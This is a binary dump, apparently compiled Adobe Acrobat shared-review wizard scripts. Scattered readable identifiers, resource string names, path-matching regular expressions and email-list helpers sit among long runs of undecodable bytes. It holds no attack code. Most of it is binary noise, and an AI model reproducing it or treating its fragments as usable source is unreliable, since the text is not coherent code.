�]�]�]ZY=];5];5];5];5]=]=]Z
Y= ]=]=!]"C]#=$]%9&�&�=';(�:])\`Y=*]=]%=+],;-5.])\`Y=*]=]%=+],;-5/])\`Y=]=]=0]ZY=1]�]\`Y=]=]ZY= ]=];-52])=3]%\`Y=]=]=0]ZY=4]=5]%=];657]8\`Y=9];-5:])=]%\`\];\`\];\`\];\`Y= ]=]=!]"C]#=<]%9&�&�==;(�:])\`Y=*]=]%=],;-5>])\`Y=*]=]%=],;-5?])\`Y=1]�(]\`Y= ]=@])=]?]A\`Y=]=B]ZY=1]�]\`Y=C]=D]%� ]� ]\`Y=]=]ZY= ]9&�&�=E;(�:])=F]%=]C]GX�]YZ�`YZ\]H\`\]I\]\`\];\`\];\`	\];\`\]J\WQ;6�K
�:Q9L�L�V�:WQ;6�M
�:QV���ʘ�I&ʘ�I;ʘ�IEʘ�I[ʘ�Ieʘ�I~ʘ�I�ʘ�I�ʘ�I�ʘ�I�ʘ�Jʘ�Jʘ�Jʘ�J&ʘ�J3ʘ�J�ʘ�J���ʐϐϐϐϐʐʐ���ʐʐʐ�ʐ䐐�ʐʐʐԐ��ʐʐʐԐ��ʐʐʐ���ʐ̐��ʐʐ���ʐʐϐϐ���ʐʐʐ���ʐʐʐԐ��ʐϐ�K�ʐʐʐ�ʐ䐐�ʐʐʐԐ��ʐʐʐԐ��ʐ̐��ʐʐʐː��ʐʐ���ʐ̐��ʐʐ�̐��ʐʐ���ʐߐʐʐ�Ȑ�ᘀKK�ѐ�֐�ѐ���
initializeinviattcgetServerConfigToAddsendsavebrwsnormalizeURLfixURLgetFSgetSeparatorgetFilenamegetDirectoryURLToDiPathURLPartialOkidlecommitviewtypeCollabwizardWidthwidthwizardHeightheightmarginHeight
margin_heightwizardMarginWidthmargin_width
align_leftalign_children
align_fill	alignmentstatic_textdialogfontboldhdngitem_idSharedString)IDS_SHARED_REVIEW_DISTRIBUTE_STEP_HEADINGWTnameradiodistgroup_idAnnotsString*IDS_SHARED_REVIEW_DISTRIBUTION_SEND_INVITE)IDS_SHARED_REVIEW_DISTRIBUTION_SAVE_LOCAL	align_rowgap2IDS_SHARED_REVIEW_DISTRIBUTION_SAVE_LOCAL_LOCATIONfsav	edit_textdestappisProtectedModeEnabledreadonlybutton
IDS_BROWSEelementstmsg4IDS_SHARED_REVIEW_DISTRIBUTION_STEP_RADIO_SUBHEADING'IDS_SHARED_REVIEW_DISTRIBUTION_SEND_URL.IDS_SHARED_REVIEW_DISTRIBUTION_ATTACH_TO_EMAIL	separator	align_topimageimg1$IDS_SHARED_REVIEW_DISTRIBUTION_SEND1des1	wrap_nameedit_text_heightproddescription	beginPrivANTrustPropagateAllendPriv�����m�( ;dialogtoLoadtoHidepathԚz��H	A5B6QA5A�
�:6Q;�
�:Q;�
�:Q;�
�:QA55	�=
A5=6	QY\WQY\WQVB6QA55
=E3QA55;
EQA555=JVB6QVB6QVB6QA55	=A5=6	QA55	x=y=y7=yPzVC6QVC6QVB6QKVC6QVC6QVB6Q(VC6QVB6QVB6QA55	x=y=y*=y�z
A�
�T�:Q�;�
�:Q;�
�A55�:WQ;�
�:QVA555=V6QVB6QVB6QVB6 QVC6QVC6QVC6QFVB6QVB6QVB6 QVC6QVC6QVC6QV="6!QA55#�=
VA55#6QT�$
�=%�:QT�&
�V�:QT�'
�V�:Q��͐�ؐ��ѐ�ѐ�ѐ�����ѐ�ʐʐ�ʐ��
���ʐ�ʐ�ʐ���ѐ���`�����m
��H�m
��H�mʘ�H吐�ʐ�ʐ�ʐP����ʐ�ʐ�ʐP����ʐ�ʐ�ʐP����`�)��m
��H�m
��Imʘ�H���ѐP����ѐ�ѐ��
ؐ��ʐ�ʐ�ʐ�ʐ�ʐ�ʐ�P����ʐ�ʐ�ʐ�ʐ�ʐ�ʐ�P��I�ΐ�����Ԑ��Ր�Ӑ�ӈdatadocWarningPoppedserverConfigToAddgetServerConfigToAddapp	beginPrivCollabupdateMountInfoendPrivdistributionMethod	undefinedEMAILhelp
reviewTypeFormDistributionserverURL,urn://ns.adobe.com/Collaboration/Forms/EmailtmsgattcsendUPLOADMANUALinvisaveconvertDIPathToPlatformPath
cDocumentPathdestdocrequiresFullSavefsavbrwsimg1C_Info_Xl_N.pngpreviousDestinationfocusnextvisibleload�������+dialogpropstoHide����&IT�
�:WQA55=E3QA55;EQA555=VC6QV5A�
�T�:Q#V5	A�	
�T�:QYB]
B]B]C]
C]C]	\WQT�
�V�:Q�Ґ�
��ʐ���֐��ѐ��������ː���ӈstoredata
reviewTypeFormDistributionserver	undefinedURL,urn://ns.adobe.com/Collaboration/Forms/Emailattcsendfsavdestbrwstmsgvisible�����e�dialogtoLoadprops��f�;IY\WQT�
�:WQV5EQV5 EQV5 VC6QT�
�V�:Q�ʐҐΈψ���ʐ��ӈstoreinviattcsendload�������
<��S�EIA55x;5y(;5y/;5y6zGA5551A555A55	5��`u���h��IN�h��IS�hʘ�II���ѐP�����ѐP�����ѐP���data
serverTypeAnnotsStringIDS_SHARED_REVIEW_SMB_NAME!IDS_SHARED_REVIEW_SHAREPOINT_NAMEIDS_SHARED_REVIEW_WEBDAV_NAMEsmboConfig
sharepointwebdav�����7�dialogcDefaultLinki�ȩ[IA555WQVA55WQA5V6Q��I`Ԑ��p��ψ)dataserverConfigToAddcSetting
cDocumentNamedistributionURL�������.dialogtoLoadpathtoHideީ,�eI	Y\WQ;�
�:Q;�
�A55�:WQ;�
�:QVA555	=
V6QT�
�V�:QYC]C]C]
B]B]B]\WQT�
�V�:Q�ʐ��ѐ�ѐ��
ؐ���Ӑ��������ː���ӈapp	beginPrivCollabconvertDIPathToPlatformPathdata
cDocumentPathendPrivdestdocrequiresFullSaveloadfsavbrwstmsgattcsendvisible�����l�#�CdialogbrowsePropspropspathsaveURLerrMsgD��~I
YC]A55]C]\WQT�
�:WQA5=6Q;�	
�:Q;�

�V�:WQ;�
�:QV�VQA5V5
6QA55x=y
zpA5V56QA5A55�
�A55�
�=�:?�A55��:6Q;�	
�:Q;�
�V5�:WQ;�
�:QT�
�YV]\�:Q��vWQV5=�VQ9��V5�:F?,;5WQ+;5WQ;5WQ;�	
�:Q;� 
�V�:Q;�
�:Q9!�!�="�:Q�����Аː��Ґ�ѐ��ѐؐ�ѐ�������Ԑ��`{��mʐ�Ԑ��ӐP����ѐ�ݐ�ѐ��x��ʐ������XRِ���	ΐP���	ΐP���	ΐP����ѐ�Ր�ѐ�Հ{����bSavedata
cDocumentName
cFilenameInitbUnicodestoredistributionMethodMANUALapp	beginPrivbrowseForDocendPrivdistributionFScFS
cDocumentPathcPath	substringlastIndexOf/lengthCollabconvertDIPathToPlatformPathloaddestmessageVolume Mount ExceptionNumber	errorCodeAnnotsString#IDS_SHARED_REVIEW_VOLUME_TYPE_ERROR$IDS_SHARED_REVIEW_VOLUME_MOUNT_ERRORIDS_SHARED_REVIEW_VOLUME_ERRORalert
DebugThrow
VolMountError����e��������!urllastSepIndexdirURLsuburl7�l��IT�
�=�:WQV>uT�
�>�V?�:WQT�
�V?�:WQ;�
�:Q;�
�V�:VUQ;�
�:QT��I�ؐ
��ڐؐ�ѐ�ܐ�ѐ����lastIndexOf/substrapp	beginPrivCollaburiNormalizeendPriv�������2url����IT�
��:4T�
��=A55�:UQ/T�
��=A55�:UQT�
��: =T�
��:T=UQT=UQT��/����I�ꐐ���������pʐ���p�����matchreplace\data
cDocumentName/pdf.pdf^\\\\\\\.?$\/\.?$\.pdf$\.$�������url�����IT�
��:DQT�
��:;5ST�
��:DQT�
��:;5;5����А���А�	ˈmatch
fileSystemdefaultWebDAV^\\\\^.+:\\
^file:\/\/	^smb:\/\/�����q�urlpathSepȹٺ�I=WQT�
��:DQT�
��:=WQ'T�
��:=WQV�ɐ����ΐ�����ɐ����/match\^\\\\^.+:\\^(http[s]|file):\/\/�����J�url	pathIndex����JT�
�A�
�T�:�:WQV>T�
�V?�:UQT��
�ؐ���lastIndexOfgetSeparatorsubstr�����L�url	pathIndex��O�JT�
�A�
�T�:�:WQV>T�
�>�V?�:UQT��
�ڐ���lastIndexOfgetSeparatorsubstr�������#urll��JT�
��:?T�
��=�:�
��=�:UQ}T�
��=�:UQT�
��=�:UQT�
��=�:UQT�
��=�:UQ9��T�:��:�������ސ�ސ�ސ�ސ��ӈmatchreplace//$1/unescape^\\\\\\^\/\/^file:\/\/localhost\/^file:\/\/\/
^file:\/\/^\/([^\/]+)\|\/�����d�%dest�w�&J;5x=y=yz/T�
��:T�
��:T�
��:��`Y��m
��mʘ�J*��Ր��Ր��Ր�appplatformMACWINmatch4^(?:http[s]?:\/\/)|(?:file:\/\/)|(?:smb:\/\/).+\/.*$B^(?:http[s]?:\/\/.+\/.*$)|(?:file:\/\/.+\/.*$)|(?:\\\\[^\\]+\\.*$))^(?:http[s]?:\/\/)|(?:file:\/\/\/).+\/.*$�������*�ddialogstrpropstoEnabletoHide��4�3JA55=E#QA55EQA55 <A5C6QA55;HA5A55�
�;5	�;5
�:;56Q;�
�:QA5551;�
�Y;5]\�:QsA55 b;5WQ;�
�A55�:;5WQ;�
�YV]\�:Q;�
�:QT�
�:WQYC]\WQA55=E!QA555;5VB6QA55=�V5EQV55VA55EQA555 6Q�V5 fVA55EHQA555 E1QV5!@E!QV5!�"
��:@6Q0VA55EQA555 6QY\WQA55=E3QA55;EQA555#=$#VB6%QVB6&QVB6QVV5EQV56'QT�(
�V�:QT�)
�V�:Q���F����͐���������ѐ�,��쐈
���ΐ���ΐ���ѐ��ҐА����ʘ�JS����0���Jg�	Ԉ+ܐ��a���	Ԉ+א������	Ԉ+ט�Jtʐ��
���ʐ�ʐ�ʐ���ߐ��Ӑ�ӈdata
reviewTypeFormDistributiondocdocWarningPopped
docModifiable	undefinedrequestPermission
permissiondocumentmodifygrantedapp	beginPriv	certifiedalertAnnotsString.IDS_SHARED_REVIEW_UPLOAD_STEP_DOC_IS_CERTIFIEDcMsg3IDS_SHARED_REVIEW_UPLOAD_STEP_DOC_IS_NOT_MODIFIABLECollabisSharedReview2IDS_SHARED_REVIEW_UPLOAD_STEP_DOC_IS_SHARED_REVIEWendPrivstorenextserverUI'IDS_SHARED_REVIEW_DISTRIBUTE_STEP_EMAILprevsendinvisavedestmatchURL,urn://ns.adobe.com/Collaboration/Forms/Emailtmsgattcdispenablevisible\.pdf$�������"�Wdialognextprops
locationPropsL����J
T8T�
�:WQY\WQV5�A5=6QA5A�
�V5�:6QA5V56Q;	�

�:QA5;�
�V5�:6Q;	�
�:QA5A55�
�A55�
�=�:?�A55��:6Q+V5`9��=A55�:QA5=6QA5A�
�A55�:6Q�A5=6QA5A�
�A55�:6QA5A�
�A55�:6QA55CX;	�

�:Q;	�
�;5�:Q;	�
�:Q9��= �:Q9��=!A55�:Q9��=A55�:Q9��=A55�:Q9��=A55�:Q���Ґ�ʘ�J���䕐��ѐ�ᐈԐ��ѐ�合ѐ��ؐ��[���ᐐ�ѐ�鐐����ѐ�䐈䐐����ѐ�ܐ�ѐ�՘�J��ᐈᐈᐈ�4storesavedatadistributionMethodMANUALdistributionFSgetFSdestpreviousDestinationapp	beginPriv
cDocumentPathCollabconvertPlatformPathToDIPathendPriv
cDocumentName	substringlastIndexOf/lengthattc
DebugAlertComing hereEMAILUPLOADdistributionURLfixURL/Error_DocumentLocationAndRepositoryLocationSamealertAnnotsString9IDS_SHARED_REVIEW_ERROR_SAME_LOCATION_FOR_FILE_REPOSITORY
DebugThrowCannot choose same folderdata.distributionFS�������>	?
reviewType	checksizedescription���	RKY�]�]�]�]�]�]ZY=];5	]
;5];5
];5]=]ZY=]�
]\`Y=];5]=]C]=]\`Y=]=]=]\`Y=]�
]\`Y=]=]=]ZY=];5 ]=]C]=]\`Y=];5!]=]="]\`Y=];5#]=]=$]\`Y=%];5&]=]=]='](\`Y=]=)]=]ZY=];5*]=+]\`Y=]=,]=]\`\]-\`Y=]=)]=]ZY=];5.]=/]\`Y=]=0]=]\`\]-\`\]-\`Y=]�]\`Y=]=1]=]?]2\`Y=]=3]ZY=]�]
\`Y=4]=5]� ]
� ]\`Y=]=]ZY=];56]=7]=]C]8X�]
\`\]-\`\]-\`\]-\`\]9\WQ;:�;
�:Q9<�<�V�:WQ;:�=
�:QV���ʘ�K�ʘ�K�ʘ�K�ʘ�L	ʘ�Lʘ�L+��ʐϐϐϐϐʐ���ʐ̐��ʐϐʐ�ϐ��ʐʐϐ��ʐ̐��ʐʐʐ���ʐϐʐ�ϐ��ʐϐʐϐ��ʐϐʐϐ��ʐϐʐʐϐ��ʐʐʐ���ʐϐϐ��ʐʐژ�L{�ʐʐʐ���ʐϐϐ��ʐʐ嘀L��ʐ̐��ʐʐʐː��ʐʐ���ʐ̐��ʐʐ�̐��ʐʐ���ʐϐʐʐ����L��ѐ�֐�ѐ���
initializeaLnkidlecommitgetServerToAddgetServerConfigToAddviewtypeCollabwizardWidthwidthwizardHeightheightmarginHeight
margin_heightwizardMarginWidthmargin_width
align_leftalign_childrengapstatic_textAnnotsString2IDS_SHARED_REVIEW_SAVE_PROFILE_STEP_SERVER_PROFILEname
align_fill	alignmentbolddialogfont	edit_textpNamitem_id0IDS_SHARED_REVIEW_SAVE_PROFILE_STEP_CONF_SUMMARY*IDS_SHARED_REVIEW_SAVE_PROFILE_STEP_UPLOADaHow5IDS_SHARED_REVIEW_SAVE_PROFILE_STEP_SHAREPOINT_UPLOADaSer	link_text.IDS_SHARED_REVIEW_SAVE_PROFILE_STEP_SERVER_URLtruncate_endtruncate	align_row2IDS_SHARED_REVIEW_SAVE_PROFILE_STEP_WORKSPACE_NAMEaMs1aMs2elements4IDS_SHARED_REVIEW_SAVE_PROFILE_STEP_DOCUMENT_LIBRARYaMs3aMs4	separator	align_topimageimg13IDS_SHARED_REVIEW_SAVE_PROFILE_STEP_TIP_DESCRIPTIONdes1	wrap_namedescriptionapp	beginPrivANTrustPropagateAllendPriv�������7UdialogtoLoadtoShowprofileNameInitialserversjsrvrconfigaLinkiLinktemp
workspaceNamedocumentLibraryD���VKY\WQY\WQVB6Q=WQ;�
�:Q;�
�A55�:WQ;�
�:QA55	KMmMWQA55
A55	V75"A55	V75WQ
�L����NA55
x=y=yR=y�z1V;5WQV;56QVB6QVB6Q�V;5WQV;56QA55
x;5y(;5y1;5y:zMV;56Q5V;56QV;56QCV;5WQV;5 6QVB6QVB6QVV6!QV=#6"QV=#6$QA�%
�:WQA�&
�:WQ;5'WQV�(
��V5)�:WQVWQV9*�*�V�:6QA5V6QA55
;5DQA55
=2VB6+QVB6,QVB6-QVB6.Qn;/�RW	QV�0
�=1�:W	QV	V	�2�7W
QVV
6,QV	V	�2�7WQVV6.Q@W	QT�3
�=4�:QT�5
�V�:QT�6
�V�:Q�ʐʐ��ʐ��ɐ�ѐ�ѐ��0Pː�����ؐ@Θ�Km�`�P��m
��Kum
��K�mʘ�Ko���p��Ӑ�ʐ�ʐP�����p��Ӑ�`{���h����h����hʘ�K{��ӐP���ӐP���ӐP��P�����p��Ӑ�ʐ�ʐP��K��̐�ΐ�ΐ��ААΐ�ᐗ�ې�ϐ��-���ʐ�ʐ�ʐ�ϐ���ΐ�ؐӐ�̐�Ӑ�̐�����Ր�Ӑ�ӈhelpapp	beginPrivCollaballReviewServersdata
reviewTypeendPrivdrivers
serverType
initiatorNameinitiatorDefaultNamedistributionMethodEMAILUPLOADMANUALAnnotsString$IDS_SHARED_REVIEW_NAME_SUGGEST_EMAILaHow)IDS_SHARED_REVIEW_SAVE_PROFILE_STEP_EMAILaSeraLnk%IDS_SHARED_REVIEW_NAME_SUGGEST_UPLOAD*IDS_SHARED_REVIEW_SAVE_PROFILE_STEP_UPLOADIDS_SHARED_REVIEW_SMB_NAME!IDS_SHARED_REVIEW_SHAREPOINT_NAMEIDS_SHARED_REVIEW_WEBDAV_NAME.IDS_SHARED_REVIEW_SAVE_PROFILE_STEP_SMB_UPLOAD5IDS_SHARED_REVIEW_SAVE_PROFILE_STEP_SHAREPOINT_UPLOAD1IDS_SHARED_REVIEW_SAVE_PROFILE_STEP_WEBDAV_UPLOAD%IDS_SHARED_REVIEW_NAME_SUGGEST_MANUAL*IDS_SHARED_REVIEW_SAVE_PROFILE_STEP_MANUALpNamicn1C_Info_Xl_N.pngimg1getServerToAddgetServerConfigToAdd.IDS_SHARED_REVIEW_SAVE_PROFILE_STEP_SERVER_URLreplacecSettingANSMBURLToPlatformPathaMs1aMs2aMs3aMs4Arraysplit/lengthfocusnextloadvisible{cServerUrl}{P����� �dialog��#��K;�
�A55�C�:Q��߈$app	launchURLdataaLnk�����K�dialogpropsbResulttoEnable:�A��KT�
�:WQV5�>WQYV]\WQT�
�V�:Q��ҐӐҐ��ӈstorepNamlengthnextenable�������$�UdialognextpropsprofileNameserversisrvrmsgconfigserver\����KT�T�
�:WQV5WQA5V6Q;�
�:Q;�
�A55�:WQ;�	
�:QVK�mMWQVV7WQVV5
;5�
��V�:WQ;�
�:Q;�
�YV]\�:Q;�	
�:Q9��=�:Q�L���aNA55D3QA55;EQA555=}A�
�:WQA�
�:WQYV]A55]
V5]B]B]A55]\WQA55=VC6QVC6QA5V6Q9 � �:9!�!�A5�:Q;�
�:Q;�"
�V5�V5
�V�A55�:Q;�	
�:Q;�
�:Q;�#
�V5�V5
�A55�:Q;�	
�:Q����Ґ̐�ϐ���ѐ�ѐ�5��ː�ː���㐈ѐ��ѐ�ޘ�K���И�K�А���ȐА͐��Ր����ϐ��ʐ��Ϙ�K����֐��ѐ��ѐ��ѐ�шstorepNamdataprofileNameapp	beginPrivCollaballReviewServers
reviewTypeendPrivUIAnnotsString0IDS_SHARED_REVIEW_SERVER_PROFILE_NAME_NOT_UNIQUEreplacealertcMsg
DebugThrowServer Name not UniqueaddInternalServerserver	undefinedURL5urn://ns.adobe.com/Collaboration/Forms/InternalServergetServerToAddgetServerConfigToAddSettings	driverURLDefault	DefaultFDdistributionMethod
DistMethodSharedReviewANValidateIdentity DistributionServerStepCommitWorkaddReviewServersetDefaultReviewServer\{cServerProfileName\}�������n�
i���	LA55KBmMWQA55V75A55A55V7�N��L����N9��=�:Q��0Eː�����xː���Ո%dataservers
initiatorName
serverType
DebugThrowServerType is not setE�������
<���LA55x;5y(;5y/;5y6zGA5551A555A55	5��`u���h��L�h��L"�hʘ�L���ѐP�����ѐP�����ѐP���data
serverTypeAnnotsStringIDS_SHARED_REVIEW_SMB_NAME!IDS_SHARED_REVIEW_SHAREPOINT_NAMEIDS_SHARED_REVIEW_WEBDAV_NAMEsmboConfig
sharepointwebdav����filterAddrs:��+oldReqRoldOptRinitiatorEmailnewReqRnewOptR
resultVec1
resultVec2ijkl�
	�	�LZ\WQZ\WQVQVQVQ>WQ>WWWWQTK�mMWQT�T�T�
T�WQ>WQhmVT�EQTV7TV7
JVT�EQTV7TV7
V#?WQQ�VV����VVEQTV7TVV#?WQTV78Q�L���NVKmMWQTVVV78Q�L����NTV�6Q>WQTKZmMWQT�T�5T�T�T�
T�0T�T�T�
T�WQ>WQ�mVT�EQTV7TV7
uVT�EQTV7TV7
JVT�EQTV7TV7
V#?WQQ�VV���iVVEQTV7TVV#?WQTV78Q�L����NVKmMWQTVVV78Q�L����NTV�6Q9��=T�:Q9��=T�:Q�ɐɐѐ�ΐ5��ː���
ސ�$h\q�����L֐��@���@��LՈ̘�Lژ�LՈΘ�L������L�5ː��ؐ��ѐ����5�]ː���0�
�
ސ�$�����������L���@���@���@��L�̘�L�L�Θ�L������L�5ː��ؐ��ѐ��ِ�و#length
DebugAlert
new req r 
new opt r �p]��2;�zq����setDateAndTimeG�newExternalDatenewInternalDatei	w	MnToQ;=n;5oQnToQ��ΐ���ڐ��ΈinternalDeadlineDatedeadlineDateAnnotsString'IDS_SHARED_REVIEW_EMAIL_STEP_NODEADLINE�����>�_��
reviewTypeaccessLevelsdescriptionEmailDescription EmailDescriptionFormDistribution�	��	MY\�����QY�]�]�]�]�]�]�]�]�]�	]	�
]
�]�]�
]
�]�]�]�]�]�]�]�]�]�]�]\WQ9��=T�:QZY=];5];5 ]!;5"]#;5$]%=&]'ZY=]=(])=&]'ZY=]=*])=&]'ZY=+];,5-].=]/\`Y=0]=1].=2]/=&]'=3]4\`\]5\`Y=]=6])=&]'ZY=7];,58].�]=]/\`Y=9]=:]/C];YZ�`YZ\]<\`\]=\]!=&]'\`\]5\`Y=]=6])=&]'ZY=7];,5>].�]=]/\`Y=9]=?]/C];YZ�`YZ\]<\`\]=\]!=&]'\`\]5\`Y=]=*])=&]'ZY=0];,5@].=A]/�K]C]B=C]D\`Y=9]=E]/=&]'\`\]5\`Y=]=*])=&]'ZY=0];,5F].=G]/�K]=C]DC]B\`Y=H]=I]/�]�]!\`Y=0]=&]'=J]/=3]4\`Y=+];,5K].=L]'=]/\`\]5\`Y=9]=M]/=&]'C];YZ�`YZ\]<\`\]=\]!\`Y=]=*])=&]'ZY=0];,5N].=O]/\`Y=P]=Q]/=&]'\`\]5\`Y=]=*])=&]'ZY=+];,5R].=]/\`Y=0];,5S].=T]/=&]'\`\]5\`\]5\`\]5\`\WQZY=];5];5 ]!;5"]#;5$]%=(])=&]'ZY=]=(])=&]'ZY=]=*])=&]'ZY=+];,5-].=]/\`Y=0]=1].=2]/=&]'\`\]5\`Y=]=6])=&]'ZY=7];,58].�]=]/\`Y=9]=:]/C];YZ�`YZ\]<\`\]=\]!=&]'\`\]5\`Y=]=*])=&]'ZY=0];,5@].=A]/�K]C]B=C]D\`Y=9]=E]/=&]'\`\]5\`Y=]=*])=&]'ZY=0];,5F].=G]/�K]=C]DC]B\`Y=H]=I]/�]�]!\`Y=0]=&]'=J]/=3]4\`Y=+];,5K].=L]'=]/\`\]5\`Y=9]=M]/=&]'C];YZ�`YZ\]<\`\]=\]!\`Y=]=*])=&]'ZY=0];,5N].=O]/\`Y=P]=Q]/=&]'\`\]5\`Y=U];,5V].=W]/\`\]5\`\]5\`\WQT=XDQT=YVV6ZQVV6ZQ;[�\
�:Q9]�]�V�:WQ;[�^
�:QV�А���ʘ�Nrʘ�N�ʘ�N�ʘ�N�ʘ�N�ʘ�N�ʘ�N�ʘ�N�ʘ�O
ʘ�Oʘ�O2ʘ�OFʘ�OXʘ�Obʘ�Omʘ�O}ʘ�O�ʘ�Pʘ�P-ʘ�P3ʘ�PDʘ�P�ʘ�P�ʘ�P�Ϙ�QR�ِ���ʐϐϐϐϐʐ���ʐʐʐ���ʐʐʐ���ʐϐϐ��ʐʐʐʐژ�Qx�ʐʐʐ���ʐϐ�ϐ��ʐʐ��ژ�Q��ʐʐʐ���ʐϐ�ϐ��ʐʐ��ژ�Q��ʐʐʐ���ʐϐʐ��ϐ��ʐʐژ�Q��ʐʐʐ���ʐϐʐ�ʐː��ʐʐ�̐��ʐʐ�ʐϘ�Qוʐϐʐژ�Qߕʐʐʐ��ʐʐʐ���ʐϐϐ��ʐʐژ�Q��ʐʐʐ���ʐϐϐ��ʐϐʐ���R��ʐϐϐϐϐʐʐ���ʐʐʐ���ʐʐʐ���ʐϐϐ��ʐʐʐژ�R6�ʐʐʐ���ʐϐ�ϐ��ʐʐ��ژ�RK�ʐʐʐ���ʐϐʐ��ϐ��ʐʐژ�R`�ʐʐʐ���ʐϐʐ�ʐː��ʐʐ�̐��ʐʐ�ʐϘ�R��ʐϐʐژ�R��ʐʐʐ��ʐʐʐ���ʐϐϐ��ʐʐژ�R��ʐϐꘀR�����ј�R��̐��ѐ�֐�ѐ��
initializegetDefaultEmailMessagegetShareFileMessagegetShareFileSubjectgetDeadlineMessagegetDeadlineSubjectreplaceParamsByValuesgetSelectedItemText
splitAddrs	joinAddrsupdateAddrs(removeDuplicateEmailAddressesAcrossLists#removeDuplicateEmailAddressesInListremoveDuplicateEmailAddressesemailListsMatchallEmailAddrsValidresolveAddrsidleaddrdlvLpLnkdlnkadrbhelpcommit
DebugAlert
reviewTypeviewtypeCollabwizardWidthwidthwizardHeightheightmarginHeight
margin_heightwizardMarginWidthmargin_width
align_fill	alignment
align_leftalign_children	align_row	link_textAnnotsString,IDS_SHARED_REVIEW_EMAIL_STEP_DELIVERY_METHODnameitem_idstatic_textdlvStruncate_endtruncateelements	align_topbuttonIDS_GEN_ADDRESSEE_HEADING	edit_textreqR	multilineedit_text_heightprodIDS_GEN_CC_HEADINGoptRIDS_GEN_SUBJECT_HEADINGsSubbolddialogfontsubjIDS_GEN_MESSAGE_HEADINGsMsgimageiconaDoc*IDS_SHARED_REVIEW_EMAIL_STEP_RESET_DEFAULTalign_rightmesg)IDS_SHARED_REVIEW_EMAIL_STEP_ACCESS_LEVELsAclpopuppAcl,IDS_SHARED_REVIEW_EMAIL_STEP_DEADLINE_REVIEW'IDS_SHARED_REVIEW_EMAIL_STEP_NODEADLINEdydt	check_box,IDS_SHARED_REVIEW_EMAIL_STEP_ALLOW_ANONYMOUSannyFormDistributionFormDistributionEmaildescriptionapp	beginPrivANTrustPropagateAllendPriv�����/�t �dialogtoLoadtoEnabletoShowdefaultDateyearmonthdayhoursminutessecondstempdocNamebNameHasPercentEncodingdecodedDocName
customMessageusernameaPath	�G	MY\WQY\WQY\WQA55 A5Z\6QA55 A5Z\6QA55=DQA55=VB6QVB6QA55=YB]	B]
\WQA5B6QA55=DQA55=
�VC6QVC6QVA5556QA555;5EQA55=(V;5;56QHA5559��=;�:V;56QVB6QVB6QA55=�A55;�;�
�:Q;� 
�:WQ;�!
�:Qn"V5#o"Qn$V5%o$Q9&�&�;$�'
�����:��
�:WQ9&�&�;$�'
�����:��
�:WQ9&�&�;$�'
�����:��
�:WQ9&�&�;$�'
��
���:��
�:WQ9&�&�;$�'
�����:��
�:WQ9&�&�;$�'
�����:��
�:W	Q;(�)
�V�V?�V�:Q;(�*
�V�V�V	�:QA5C6QV;"6
Q�A55=qA55+=,A5;5.6-QVA55-6
Qn"A55-o"Qn$A55+o$QA55=EQA55/=0VB6	QVB6
QA55=EQA55/=1#VB62QVB63QVB64QA55=
VC65QVC65QVB65QA�6
�T�C�:QVB67QA558CyVC69QVC6:QA55/=0DQA55/=1�VB69QVB6:QA55;=<X�����9��==;�:�8Q�����9��=>;�:�8QR�����9��==;�:?8Q�����9��=>;�:�8QR�����9��==;�:?8Q�����9��=>;�:�8QV�����6:QVB69QVB6:QA55=D\QA55=
DEQA55=EQA55/=0DQA55=AA55?6?QAA55@6@Q=,W
QA55A%A55A�B
��:W
QA55CEQA55C5DA55C5DV
WQ;5E=FEQV=,3V�G
�V�H
�=I�:?�:WQR;5E=JEQV=,.V�G
�V�H
�=K�:?�:WQBWQ=,W
QV�L
�=M�:�E)QA55NEQA55N�=OCCWQA55N�G
�A55N�H
�=P�:?�:W
QA55Q DQA55RpVAA5A5@�S
��V
=TV=U�:6QQ,A5A5@�S
��V�:6QQA553 DQA55R`V1A5A5?�S
��V
�:63Q,A5A5?�S
��V�:63QA5B6RQA5A55?�S
��A55V�:63QA55=DsQA55=
D\QA55=EQA55/=0D.QA55=DQA55=;�
�:Q;�W
�A55�A55�A558�:WQ;�!
�:QA5V6QQA55Q;A5A�X
�:6QQA5A�Y
�A55Q�:6QQA55=#A55=DQA55=kA5=,6QQVB64QVB6ZQVB6[QVB6\QVB6]QVB63QVB6^QVB62Q�A55=
zA5=,6QQVB6_QVB6QVB64QVB6ZQVB6[QVB6\QVB6]QVB63QVB6^QVB62QA55=�A5A�`
�:63Q;�
�:QA55a�b
�:WQ;�!
�:QA5A553�S
��V�:63QA55=cEQA558CdA55=,A5A55Q;5d6QQ'A5A55Q;5e6QQA5B6RQA55=EQA55/=1'A5=,6QQA5=,63QVA55Q62QVA55363QT�f
�=_�:QV;5g6_QA55=cDTQA558CDAQA55=E*QA55/=1EQA55hCVB6[QVB6\Qa;�
�:Q;�i
�A55j�:WQ;�!
�:QVV6\QV=k6ZQ;�
�:QA55l A5;m5n6lQ;�!
�:QA55=V;5p6oQT�q
�V�:QT�r
�V�:QT�s
�V�:Q�ʐʐʐ�����ѐ�����ѐ�����ʐ�ʘ�M/������֘�M7��͐��ϕ��ʐ�ʐ�ِ��#���㐐����ؘ�MI��ʐ�ʘ�MO��֕�����	ѐԐ�	ѐ�	Ӑ�Ӑ�����쐈ߐ�ݐ�͐��Ӑ��������֐�Ԑ�֐�֘�Mo����ʐ�ʐ������ʐ�ʐ�ʘ�M}����ʐ�ϐ����ʐ���Ӑ�ʐ����t���ʐ�ʐ���ϕ��	ʐ�	ʐ�S���
琈
쐐���
搈
였M���	搈	琐�א����ʐ�ʘ�M����אא�����Ґ�Ґ�ɐ�����ᐐ�.�������M͈鐐��ɐ�A�����������	���<������瘀M�	���,��쐐�琐�͐��M�אא�א����M���ѐ���ѐ��Ϙ�N����ؐ��������f���ѐ��ʐ�ʐ�ʐ�ʐ��ʐ�ʐ�ʐ�ϐ�����ѐ��ʐ�ʐ��ʐ�ʐ�ʐ�ʐ��ʐ�ʐ�ʐ�ʘ�N.����ؐ��ѐڐ�ѐ��쐐����'��琐�␐�͐������ѐ�ј�NI�Ԑ�Ԙ�NN�Ր�Ӑ�������ʐ�ϐ����ѐ�ѐ��̐�Θ�Nd�ѐ����֐�ѐ����Ӑ���Ӑ�Ӑ�ӈdatareqRoptR
reviewTypeFormDistributionEmailSharedReviewEmailacl1prev	ShareFiledlnkdydtdeliveryMethodLinkClickedSharedReviewFormDistributiondlvSdlvLserverUIAnnotsString'IDS_SHARED_REVIEW_DISTRIBUTE_STEP_EMAILdistributionMethodMANUAL%IDS_SHARED_REVIEW_NAME_SUGGEST_MANUALSharedString*IDS_SHARED_REVIEW_SERVER_DOC_CENTER_DETAILWTIDS_TRACKER_ACROBAT_DOT_COM
